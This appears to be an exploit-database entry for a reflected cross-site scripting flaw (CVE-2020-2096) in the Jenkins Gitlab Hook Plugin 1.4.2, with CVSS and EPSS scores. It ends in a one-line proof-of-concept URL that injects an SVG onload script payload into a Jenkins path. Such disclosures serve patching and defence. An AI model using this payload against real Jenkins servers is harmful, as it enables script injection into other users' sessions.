Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting

2020-01-1600:00:00

Ai Ho

www.exploit-db.com

121

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.3 Medium

AI Score

Confidence

High

0.97 High

EPSS

Percentile

99.7%

JSON

# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting
# Exploit Author: Ai Ho
# Vendor Homepage : https://jenkins.io/
# Effective version : Gitlab Hook Plugin 1.4.2 and earlier
# References: https://jenkins.io/security/advisory/2020-01-15/
# CVE: CVE-2020-2096

# PoC:
http://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E